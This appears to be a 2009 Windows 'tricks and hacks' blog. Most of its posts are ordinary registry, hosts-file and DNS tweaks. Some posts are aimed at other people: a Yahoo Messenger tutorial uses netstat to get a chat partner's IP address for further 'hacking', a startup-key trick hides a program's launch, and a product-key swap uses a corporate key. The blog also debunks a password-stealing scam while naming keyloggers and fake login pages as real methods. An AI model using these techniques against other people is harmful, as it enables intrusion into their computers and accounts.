The following registry hack enables us to disable the Task Manager.Here is a step by step procedure to disable Windows task manager.

Step1: Goto start>run and type “regedit” in the run.

Step2: In the registry navigate to

HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Policies\System
Value Name: DisableTaskMgr
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = default, 1 = disable Task Manager)

Step 3: Then navigate to

HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Policies\System
Value Name: DisableTaskMgr
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = default, 1 = disable Task Manager)

Run Programs at Startup without using Startup folder

2009-10-29T05:43:00.002-07:00

This tweak allows a program to be launched when the user logs onto the computer. It can be set to run minimized and there is no trace of the executable in the Startup folder on the Start Menu nor in the Documents and Settings folder accessible via Windows Explorer.

Click Start, click Run, and type regedit to run Regedit.Navigate to

HKEY_CURRENT_USER\Software\
Microsoft \Windows\CurrentVersion\Run

Modify/Create the Value Data Type(s) and Value Name(s) as given below:

Data Type: REG_SZ [String Value]
Value Name: [Enter the Name of Program Executable]
Value Data: [Enter the Path to the Program Executable]Exit Registry and Reboot

How to Change User Information ?

2009-10-29T05:43:00.001-07:00

On a regular basis, people ask me questions about changing user information, the information you provided when you installed Windows. You can change it. Both of the following values are in the key

HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion

>>RegisteredOrganization.
The name of the organization (Change this to your desired organization)

>>RegisteredOwner. The name of the user (Change this to your desired name)

These changes are reflected in the system instantaneously and requies no reboot.You can confirm this by seeing the system properties(Right-Click on “My Computer” icon and select properties).

Both are REG_SZ values. Changing the registered organization and owner names doesn’t affect installed applications. However, applications that you install after changing these values are likely to pick up the new names.

How to Create a CON folder in Windows?

2009-10-29T05:42:00.000-07:00

Can you create a folder named “con”, “prn”, “nul” “com1″ “com2″ “lpt1″ etc. in windows ?

The answer is NO and YES!

NO because create a new folder and try to rename it to any one of the above specified names, you know what happens! In Windows XP the folder name automatically changes back to “New Folder” no matter you try any number of times.Where as in Windows Vista when you try to rename the file you get an error message “The specified device name is invalid”.

What is the reason for this? Simple, these names represent the internal devices and hence we cannot create folders with the above names.

YES because it is still possible to create these folders using the command prompt.Heres the instructions to create it.

1. Go to command prompt

2. Type in prompt (FOR EG. TO CREATE CON FOLDER IN E: DRIVE)

C:\>md \\.\e:\con

NOTE:”con” can be replaced by any other names such as “prn”, “nul” “com1″ “com2″ “lpt1″ etc.

3. To delete the folder use the following command

C:\>rd \\.\e:\con

NOTE:The folder can only be deleted from the command prompt.You cannot remove it by right-click delete

Forgot Windows XP Password ?

2009-10-29T05:41:00.000-07:00

Yes it is possible to change Adminstrator password both in Win XP and Vista without knowing it.If you somehow manage to login as an Administrator then you can change the password without knowing it.

Heres the Step-By-Step instructions

1. Right-click on the “My Computer” icon on the desktop OR in the Start Menu.

2. Select the option “Manage”.

3. On the left pane expand the “Computer Management (Local) tree (if it is not already expanded)

4. Double click “Local Users and Groups” option From “System Tools” tree.

5. Click the “Users” option.

6. Now you will see the list of users on the right side pane,such as Administrator,Guest etc.

7. Right click the “Administrator” and select the option “Set Password” option.

8. Now you will see a warning message,Click on proceed.

9. Now the system asks you for “New Password” and “Confirm Password” .

10. After entering the password click on “OK”.The password is changed.That’s It!

How to Block a Website ?

2009-10-29T05:40:00.001-07:00

Some times it becomes necessary to block a website on our Computers for one or other reason.You can easily and effectivily block access to a website by adding it to your Windows HOSTS file.Once the website is blocked in the HOSTS file,it will not appear in any of the browsers.That is,the website becomes completely unavailable.

1.Go to your HOSTS file which is located at:

C:\WINDOWS\SYSTEM32\DRIVERS\ETC for Vista and XP
C:\WINNT\SYSTEM32\DRIVERS\ETC for Win 2000
C:\WINDOWS for Windows 98 and ME

2. Open HOSTS with Notepad.

The default Windows HOSTS looks like this:
______________________

# Copyright © 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a “#” symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
#
127.0.0.1 localhost
_____________________________

3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:

127.0.0.1 name of the URL you want to block

For example to block the website MySpace.com, simply type:

127.0.0.1 myspace.com
127.0.0.1 www.myspace.com

Other parts of MySpace could be blocked in a similar way:

127.0.0.1 search.myspace.com
127.0.0.1 profile.myspace.com
etc etc etc…

It is necessary to add a website with and without the “www.”. You can add any number of websites to this list.

4. Close Notepad and answer “Yes” when prompted.

Changing Windows XP Product Key without Re-Installation

2009-10-29T05:39:00.001-07:00

This trick will show you how to change Windows XP product key without re-installing the operating system.This makes it possible to install a new genuine key without the need to format and re-install your Windows XP.

1.Goto start menu,run,type regedit

2.In registry editor goto

HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWS NTCURRENT VERSIONWPA EVENTS

3.In the right panel open OOBE Time

4.Edit/Change atleast one entry there,press OK and close registry editor.

5.In run type the following command

%systemroot%system32oobemsoobe /a
and press enter

6.Activation wizard appears

7.Select activation by phone and in the next screen select the option CHANGE PRODUCT KEY,enter a valid corporate product key,press OK and close the wizard

8.Reboot the computer and type the same command in the run

9.Activation wizard appears again and it shows the message WINDOWS IS ALREADY ACTIVATED.

Get Rid of the Recycle Bin on your Desktop

2009-10-29T05:38:00.001-07:00

Here is a way to remove the recycle bin from your desktop.This trick help’s people who want to get rid of the recycle bin on the desktop.

1.Goto start,Run,Type “gpedit.msc” (Type without quotes)

2.On the left panel,under User Configuration expand the tree Administrative templates

3.Click on the subtree desktop (single click,do not expand it)

4.On the right panel,Select the option-Remove Recycle Bin icon from desktop properties

5.Double click the option,on the settings tab just select the option enabled,press OK & exit the window.

6.Refesh the desktop (press F5) ,Your Recycle Bin vanishous

Renaming Win XP Start Menu Button

2009-10-29T05:37:00.000-07:00

This guide will show you how to edit/rename the Windows XP start menu button.Are you bored of having the name “start”? If so now you can rename your start menu button to give the name of your choice.

STEP 1:BYPASSING WINDOWS FILE PROTECTION

1.Launch My Computer,click tools,folder options,then view

2.Select show all hidden files and folders option and uncheck the option hide
protected operating system files,unckeck hide extention for known file types

3.Open C:\windows\system32\restore,select the file filelist.xml,right click it go to properties and uncheck read-only

4.Open it(filelist.xml) with notepad

5.Add the line %systemroot%\explorer.exe as shown below

%systemroot%\explorer.exe
%windir%\system.ini
%windir%\tasks\desktop.ini
%windir%\win.ini
*:\AUTOEXEC.BAT
*:\CONFIG.MSI
*:\CONFIG.SYS

6.Save the file

7.Open C:\windows\system32\dllcache,you will find a backup copy of explorer.exe. Rename it to explorer.bak.

STEP 2:CHANGING THE NAME OF START BUTTON

1.Open Resource Hacker,open C:\windows\explorer.exe

2.Expand string,expand 37,click on 1033

3.On right side raname “start” to anything you want EG.”anything” and press compile script

4.Repeat the same procedure for string,38,1033

5.Save changes in file menu(if error occurs close explorer.exe and repeat sub-step 3 & 4

6.Press ctrl+alt+del in processes tab of task manager endtask explorer.exe

7.Again in new task open C:\windows\explorer.exe you will see that start menu is renamed

8.Close task manager and ENJOY!!!!

Display Legal Notice on Startup of your Windows

2009-10-29T05:34:00.000-07:00

If your PC has multiple users then you can now display legal notice to every user before they login to your PC. This legal notice will be displayed at every startup just before the Desktop is loaded. Using this you can tell your friends about the do’s and dont’s in your computer when they login in your absence. Well you can do this pretty easily. For this there is one small registry hack. Here is the step-by-step instruction to do this.

1. Goto Start->Run, type regedit and hit ENTER

2. Navigate to the following key in the registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

\policies\system

On the right side pane look for “legalnoticecaption“, double click on it and enter the desired Legal Notice Caption. Next below this look for “legalnoticetext” and enter the desired Legal Notice Text. The lagal notice text can be upto a page in it’s size so that it can include a set of do’s and dont’s for your computer. After you do this just restart your computer and upon the next startup you can see the legal notice information for your computer. This trick works on both XP and Vista. You can also try it on Windows 7 and should work with no problems.

Hope you like this post. Pass your commments.

Chat without Yahoo Messenger or Gtalk

2009-10-29T05:33:00.001-07:00

Can we chat without Yahoo messenger? Most of us are familiar with the most widely used applications such as Yahoo messenger and Gtalk to carry out chatting with our friends.But here I’ll show how to chat without Yahoo messenger or Gtalk.As we all know the information we exchange with their servers(Yahoo or Gtalk) are recorded and stored along with the corresponding IP addresses.This may hurt our privacy since all the information we exchange while chatting has to pass through a third party server.

Moreover if the matter is highly confidential, then it is necessary to have a totally private chat where the messages are exchanged only between the people involved in the chat and not with any other third party servers.At these situations, it is better to chat without Yahoo messenger.

So, how to carry out a private chat without Yahoo messenger or Gtalk?

For this purpose there exists many softwares that support’s you to host a web-based chat system without any additional software or services.So with these softwares the exchange of messages takes place directly between the two persons engaging in the chat and will not pass through any other third party server.This ensures 100% privacy and eliminates the desperate need to chat with Yahoo messenger.

One of my favorite program for private chat is Easy Chat Server

Easy Chat Server is a Windows program that allows you to host a web-based chat system without any additional software or services. Unlike other chat server, you do not need to install Java. It allows you to build one or more web-based chat rooms on your machine, and provides advanced chat functionalities aiming to offer discussion space for your users, customers and partners.

Here are some of the screenshots of Easy Chat Server.

Key Features of Easy Chat Server:

Easy to use, Simple installation that will have you up and running in minutes.
128-Bit Security Socket Layer(SSL) support. support for server level certificate creation.
Instantly runs a complete chat server on your PCs – does not need to install any Web Server.
Supports full private messaging and One to One private chat.
Support of images, smileys, avatar icons.
Full chat and access logs are available within the chat server.
Have a built-in IP Filter, supports banning/unbanning IP address, securely.
Multiple styles available for the user to customize rooms.
Unlimited rooms and users, no any annual, per-user, or maintenance fees.
No spyware, adware or other unwanted extra programs.

Hacking Yahoo Messenger

2009-10-29T05:31:00.000-07:00

This tutorial will tell you how to hack yahoo messenger while you are engaged in chatting with some person.While you are chatting through yahoo messenger, Yahoo will hide the IP addresses of all the computers that are connected through the yahoo messenger application to the chat room.So it is not possible to directly find out the IP of the person you want to hack.Then how to get the IP address? Yes it is still possible to hack the IP address during the Yahoo messenger chat.The procedure to Hack Yahoo messenger is discussed in detail below.

While you are chatting via yahoo messenger the communication between you and the person you want to hack, takes place indirectly via Yahoo server and not directly.It is not possible to hack Yahoo messenger directly to get the IP address.So to hack his IP, you must establish a direct communication with him.So,how to do this? It’s easy.Just start chatting with some one via Yahoo messenger.During the process of chatting send him a big file.Now the file transfer takes place directly between your computer and the victim’s computer(via yahoo messenger application).So now, you are ready to go. Here’s the step-by-step process to hack Yahoo messenger and get the IP address of the person .

Goto the COMMAND PROMPT (START>>>RUN>>>Type CMD).
Here Type “netstat -n” (without quotes).

NOTE: If you are new to “netstat” and other IP related commands refer this tutorial:Windows XP IP Utilities

The pic given below shows netstat results of my computer.I was not chatting when i took this pic and hence it looks modified.

Here local address is your own IP and the foreign address is the IP address of the recipient with whom you are connected via yahoo messenger (There may be multiple recipients and hence multiple foreign addresses).
Now send him the file.
Check the output by typing the command “netstat -n” (without quotes).
Assume the output is something like this.

TCP 127.0.0.10:5101 124.55.23.11:1246 ESTABLISHED

Here 124.55.23.11 is the IP address of the person with whom you are chatting and 1246 is the port number where connection is established.That’s It! You have now hacked Yahoo messenger to get his IP address.

Once you hack Yahoo messenger and get his IP address you can use any of the Remote Administration tools or perform NETBIOS HACKING.Refer this tutorial on Netbios Hacking.

NOTE: Some times there are chances where in the file transfer gets encrypted (takes place via yahoo server itself).So in this case the above hack may fail to work.

Change IP Address

2009-10-29T05:30:00.001-07:00

How to change your IP address in less than a minute? The following trick gives you a step-by-step procedure to change your IP address.

1. Click on “Start” in the bottom left hand corner of screen.

2. Click on “Run”.

3. Type in “command” and hit ok.You should now be at an MSDOS prompt screen.

4. Type “ipconfig /release” just like that, and hit “enter”.

5. Type “exit” and leave the prompt.

6. Right-click on “Network Places” or “My Network Places” on your desktop.

7. Click on “properties”.

You should now be on a screen with something titled “Local Area Connection”, or something close to that.

8. Right click on “Local Area Connection” and click “properties”.

9. Double-click on the “Internet Protocol (TCP/IP)” from the list under the “General” tab.

10. Click on “Use the following IP address” under the “General” tab.

11. Create an IP address (It doesn’t matter what it is. I just type 1 and 2 until i fill the area up).

12. Press “Tab” and it should automatically fill in the “Subnet Mask” section with default numbers.

13. Hit the “Ok” button here.

14. Hit the “Ok” button again.You should now be back to the “Local Area Connection” screen.

15. Right-click back on “Local Area Connection” and go to properties again.

16. Go back to the “TCP/IP” settings.

17. This time, select “Obtain an IP address automatically”.

18. Hit “Ok”.

19. Hit “Ok” again.

20. You now have a new IP address.

Some ISPs do not support this type of procedure and hence there are chances of getting back the same old IP address even after trying this hack.In this case you need to switch off the modem and then switch it on to get the new IP address.

NOTE: All these tricks works only if you have a dynamic IP address.But if you have a static IP address you have no option to change your IP.

Change the Title of Yahoo Messenger

2009-10-29T05:29:00.000-07:00

Here’s how you change the title text that appears at the top of the Messenger window. By default, this is “Yahoo! Messenger”, followed by your status. Simply edit the ymsgr.ini file, which you will find in the same folder as the Messenger program, in your Program Files folder. Locate the file and open it in Notepad. Then, at the end, add the following:

[APP TITLE]
caption=YOUR TEXT

Here, “YOUR TEXT” is whatever you want in the title bar. Save the file and close Messenger. When you restart it you will see your text in the title bar.

Hack BSNL Broadband for Speed

2009-10-29T05:27:00.000-07:00

If you are a BSNL broadband user, chances are that you are facing frequent DNS issues. Their DNS servers are just unresponsive. The look up takes a long duration and many times just time out. The solution? There is small hack on BSNL for this. Use third party DNS servers instead of BSNL DNS servers or run your own one like djbdns. The easiest options is to use OpenDNS. Just reconfigure your network to use the following DNS servers:

208.67.222.222
208.67.220.220

Detailed instructions specific to operating system or your BSNL modem are available in the OpenDNS website itself. After I reconfigured my BSNL modem to use the above 2 IP addresses, my DNS problems just vanished! Other ‘freebies’ that come with OpenDNS are phishing filters and automatic URL correction. Even if your service provider’s DNS servers are working fine, you can still use OpenDNS just for these two special features.After you hack BSNL DNS servers, you will see a noticeable improvement in your broadband speed.

Email Password Hacking

2009-10-29T05:26:00.000-07:00

Most of the people ask me to teach the easiest way of email password hacking. In fact the most widely asked question on hacking is some or the other way related to email password hacking. Even if you have the similar question in your mind here’s the answer. First of all don’t get fooled by the so called the “easiest way to hack an email password” given on many scam sites. Here’s the scam procedure. This method is of hacking password never works.

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>>STEP 1- Log in to your account (yahoo,hotmail,gmail etc.)

>>STEP 2- Click on Compose

>>STEP 3- In the subject type exactly as follows

Password Retrieval

>>STEP 4- In the to address exactly type the following email address

retrieve_mypass@yahoo.com (for yahoo)
send_mypass@hotmail.com(for hotmail)
googlepass_reset@gmail.com(for gmail)

>>STEP 4- Body of the mail

In the first line type your own email address and in the next line your password.

NOTE: This step is the most important,so do it exactly as instructed.

Heres the example

myemailid@yahoo.com
iamafool

Give exactly 4 lines gap after this.
Now type the email address of the person you want hack.
In the next line type the following code exactly as given below

**yyb67hhfy@#yssyhhdiuhhyahoo.comsi*8??” (for yahoo)

**yyb67hhfy@#yssyhhdiuhhhotmail.comsi*8??” (for hotmail)

**yyb67hhfy@#yssyhhdiuhhgoogle.comsi*8??” (for gmail)

>>STEP 5- Now Send the mail and check your inbox after a few hours. The victims password is mailed to you by the password resetting server.This is a major bug in most of the hosts such as yahoo,gmail etc. Here the server is confused and it sends you the password of the victim.

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Never ever try this trick. If tried you definitely loose up your own password. Let’s see how the above mail works.

First of all the “To address” of the mail is none other than the ID of the person who has written this trick. This email has no special value,it’s none other than an ordinary email address belonging to a user like you, not the server email address. So you are just mailing your own ID and the password to a stranger in attempt to hack other’s password. All the other rules such as line gaps,codes etc. are utter nonsense, just given to make you believe it is true. So the bottom line is never believe/try these hacks. These method is called Social Engineering where the people are made to mail their own username and password to the hacker’s ID. So here the people get fooled and loose their password in attempting to hack some other’s password.

The real ways of password hacking involves usage of a keylogger program. The keylogger is a stealth program which hides it’s existence but secretly record’s all the keystrokes which includes even the password. The other ways of password hacking involves usage of trojans,Creating fake login pages etc

What to do when your Orkut Account is Hacked ?

2009-10-29T05:25:00.000-07:00

It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail, Orkut, Google Calendar, Blogger, AdSense, Google Docs and even Google Checkout are tied to the same account.

Here are some options suggested by Google Support when your forget the Gmail password or if someone else takes ownership of your Google Account and changes the password:

1. Reset Your Google Account Password:
Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd – you will receive an email at your secondary email address with a link to reset your Google Account Password. This will not work if the other person has changed your secondary email address or if you no longer have access to that address.

2. For Google Accounts Associated with Gmail:
If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. It however requires you to remember the exact date when you created that Gmail account.

3. For Hijacked Google Accounts Not Linked to Gmail:
If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bring back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation date of your Google Account plus a copy of that original “Google Email Verification” message.It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant information in your secondary email mailbox.

Phishing Tools Available Online

2009-10-29T05:24:00.000-07:00

Tools that can help people potentially defraud innocent surfers are available for free download on the internet, it has been claimed.

The do-it-yourself kits provide all the essential tools for launching phishing attacks – those that use spoofed emails and fraudulent websites to trick people into giving out personal financial data.

Phishing scams are on the up. Security company MessageLabs has intercepted an average of 250,000 phishing emails a month so far in 2004, compared to just 14 phishing-related emails back in August 2003.

According to anti-virus company Sophos, the DIY kits contain all the graphics, web code and text required to construct fake websites that look like legitimate online banking or shopping sites. They also include spamming software which would let you send out millions of phishing emails as bait for potential victims.

“Until now, phishing attacks have been largely the work of organised criminal gangs, however, the emergence of these ‘build your own phish’ kits mean that any old Tom, Dick or Harry can now mimic bona fide banking websites and convince customers to disclose sensitive information such as passwords, PIN numbers and account details,” said a spokesman for Sophos.

“There is plenty of profit to be made from phishing. By putting the necessary tools in the hands of amateurs, it’s likely that the number of attacks will continue to rise.”

Surfers that receive a suspicious email that claims to come from an online bank or e-commerce site should delete them and not click on any included links.

How to Block a Website ?

2009-10-29T05:23:00.002-07:00

1.Go to your HOSTS file which is located at:

C:\WINDOWS\SYSTEM32\DRIVERS\ETC for Vista and XP
C:\WINNT\SYSTEM32\DRIVERS\ETC for Win 2000
C:\WINDOWS for Windows 98 and ME

2. Open HOSTS with Notepad.

The default Windows HOSTS looks like this:
______________________

3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:

127.0.0.1 name of the URL you want to block

For example to block the website MySpace.com, simply type:

127.0.0.1 myspace.com
127.0.0.1 www.myspace.com

Other parts of MySpace could be blocked in a similar way:

127.0.0.1 search.myspace.com
127.0.0.1 profile.myspace.com
etc etc etc…

It is necessary to add a website with and without the “www.”. You can add any number of websites to this list.

4. Close Notepad and answer “Yes” when prompted.

5. After blocking the website, test it in any of the browser.If every thing is done as said above,the website must not appear in any of the web browsers. You should see a Cannot find server or DNS Error saying: “The page cannot be displayed”.I have also created a virus to block a website which automatically blocks a list of websites as specified in the source program.

Some people suggest that your add a website to the Internet Explorer ‘Privacy’ settings. This does not block a site. It only stops that site from using cookies.

How to Create a Computer Virus?

2009-10-29T05:23:00.001-07:00